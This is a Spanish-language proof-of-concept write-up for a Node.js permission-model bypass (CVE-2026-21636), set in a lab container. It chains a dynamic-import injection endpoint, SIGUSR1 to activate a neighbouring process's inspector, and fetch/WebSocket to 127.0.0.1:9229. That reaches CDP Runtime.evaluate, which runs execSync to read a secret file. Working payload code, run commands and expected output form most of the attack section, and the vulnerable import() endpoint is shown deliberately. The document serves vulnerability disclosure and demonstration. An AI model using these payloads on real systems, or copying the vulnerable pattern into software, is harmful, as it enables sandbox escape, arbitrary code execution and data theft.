
Prueba de concepto que demuestra una evasión del modelo de permisos de Node.js (CVE-2026-21636) que permite el acceso a la red a través de undici/fetch hacia servicios locales, habilitando la ejecución arbitraria de código mediante CDP.
El modelo de permisos de Node.js (--permission) está diseñado para aislar un proceso restringiendo el acceso al sistema de archivos, procesos hijos, workers y red. CVE-2026-21636 revela que las conexiones realizadas a través de undici/fetch (y net/tls) hacia Unix Domain Sockets y direcciones TCP locales omiten por completo la protección de red, incluso cuando --allow-net está ausente.
Afectado: Node.js v25 (los permisos de red aún son experimentales en el momento de la divulgación).
Este PoC reproduce el concepto en v22 donde se puede observar el mismo bypass.
Un atacante que pueda inyectar JavaScript arbitrario en un proceso que se ejecuta bajo --permission (pero sin --allow-net o --allow-child-process) puede:
Dos procesos se ejecutan en paralelo dentro del contenedor bajo supervisord:
target.cjs escribe su propio PID en /tmp/target.pid al iniciar y luego se ejecuta en un bucle infinito (proceso víctima inactivo). server.mjs expone un servidor Express en :8000 con un endpoint /pid y un endpoint vulnerable /language.
/app/secret.txt es propiedad de app (chmod 444). Ambos procesos pueden acceder a él a nivel del sistema operativo. El exploit no depende de una barrera de permisos de archivos — demuestra que server.mjs, a pesar de que --allow-net está ausente, puede alcanzar 127.0.0.1:9229 mediante fetch()/WebSocket y ejecutar código arbitrario dentro del proceso target.cjs sin sandbox. Leer secret.txt a través de CDP es la prueba de esa ejecución de código.
Nota: lo que este PoC realmente demuestra
Debido a que
server.mjsya se ejecuta con--allow-fs-read=/, leer/app/secret.txtdirectamente desde el proceso con sandbox es trivialmente posible usando solo la inyección de JS (paso 1):import { readFileSync } from 'fs'; export default { secret: readFileSync('/app/secret.txt', 'utf8') };La lectura del sistema de archivos no es el objetivo de este PoC. El objetivo es demostrar CVE-2026-21636: a pesar de que
--allow-netestá ausente,fetch()(undici) puede establecer una conexión TCP a127.0.0.1:9229, omitiendo por completo la protección de red del modelo de permisos. El exploit utiliza ese bypass para hacer pivote hacia el procesotarget.cjscompletamente sin sandbox a través de CDP y lograr ejecución de código arbitrario fuera del sandbox; algo que ninguna cantidad de--allow-fs-readpermitiría.
POST /languageEsta sección está fuera del alcance del PoC.
// server.mjs
app.post('/language', async (req, res) => {
const requested = req.body?.lang ?? 'fr';
res.json(await import(requested + '/index.js'));
});
El servidor realiza un import() dinámico sobre una cadena controlada por el usuario. El import() de Node.js admite de forma nativa el esquema de URL data::
data:text/javascript,<JS codificado en porcentaje>
El sufijo /index.js añadido por el servidor se neutraliza añadiendo // al final del payload (se trata como un comentario de URL / fragmento de ruta ignorado).
Esto proporciona ejecución de JavaScript arbitrario dentro del proceso con sandbox — el punto de entrada para abusar de CVE-2026-21636.
El servidor se inicia con:
node --permission --allow-fs-read=/ /app/server.mjs
La intención: incluso si un atacante ejecuta código dentro de server.mjs, no puede alcanzar la red, generar procesos ni acceder al inspector.
CVE-2026-21636 rompe el límite de --allow-net.
GET /pid → { "pid": <N> }
target.cjs escribe su propio PID en /tmp/target.pid al iniciar. El servidor lo expone. Esto identifica el proceso víctima que se utilizará como relé CDP.
Esto también podría hacerse inyectando JS en el punto de entrada; para simplificarlo, simplemente creé el endpoint /pid.
target.cjs mediante SIGUSR1Payload inyectado mediante POST /language (como URL data:):
process.kill(<pid>, 'SIGUSR1');
export default { signal: 'SIGUSR1', sent_to: <pid> };
Cuando un proceso de Node.js recibe SIGUSR1, inicia (o reanuda) su depurador V8/CDP y comienza a escuchar en:
127.0.0.1:9229
Debido a que target.cjs se ejecuta sin --permission, su inspector tiene privilegios completos: puede evaluar cualquier expresión, incluido require('child_process').execSync(...).
El envío de señales (process.kill) no está restringido por el modelo de permisos, por lo que este paso tiene éxito desde dentro del sandbox.
Segundo payload inyectado mediante POST /language:
// fetch the list of debuggable targets from the inspector HTTP API
const [{ id }] = await (await fetch('http://127.0.0.1:9229/json')).json();
//then open a WebSocket to the CDP endpoint of target.cjs
const result = await new Promise(resolve => {
const ws = new WebSocket(`ws://127.0.0.1:9229/${id}`);
ws.onopen = () => ws.send(JSON.stringify({
id: 1,
method: 'Runtime.evaluate',
params: {
expression: `process.mainModule.require('child_process')
.execSync('cat /app/secret.txt').toString()`,
returnByValue: true
}
}));
ws.onmessage = ({ data }) => { ws.close(); resolve(JSON.parse(data)); };
});
export default result;
Por qué esto funciona a pesar de que --allow-net está ausente:
fetch() en Node.js está implementado por undici. CVE-2026-21636 muestra que la ruta de conexión de undici para http://127.0.0.1:... (y las opciones socketPath de UDS) no pasa por la verificación de red del modelo de permisos. El sandbox cree que no se realizó ningún acceso de red saliente, pero la conexión TCP a :9229 tiene éxito.
La llamada CDP Runtime.evaluate se ejecuta dentro del proceso target.cjs sin sandbox, por lo que require('child_process') está disponible y execSync funciona libremente.
atacante (script Python)
│
├─[1]─ GET /pid → pid = N
│
├─[2]─ POST /language data:js SIGUSR1 → el inspector de target.cjs se inicia en :9229
│
└─[3]─ POST /language data:js fetch+WS → CDP Runtime.evaluate → cat /app/secret.txt
↑
bypass de CVE-2026-21636 aquí
(fetch a 127.0.0.1 sin --allow-net)
# Construir e iniciar el entorno
docker compose up --build -d
# Ejecutar el exploit
python3 exploit.py
Salida esperada:
TARGET PID : 42
Response step 2 : {'signal': 'SIGUSR1', 'sent_to': 42}
SECRET : this_is_a_secret!
| Proceso | Usuario | Flags | Capacidades |
|---|
target.cjs | app | ninguno | API completa de Node.js, sin sandbox |
server.mjs | app | --permission --allow-fs-read=/ | lectura completa del FS — sin red, sin child_process, sin worker |
| Permiso | Estado |
|---|
--allow-fs-read=/ | concedido (lectura completa) |
--allow-fs-write | denegado |
--allow-net | denegado (experimental, no establecido) |
--allow-child-process | denegado |
--allow-worker | denegado |
--allow-inspector | denegado |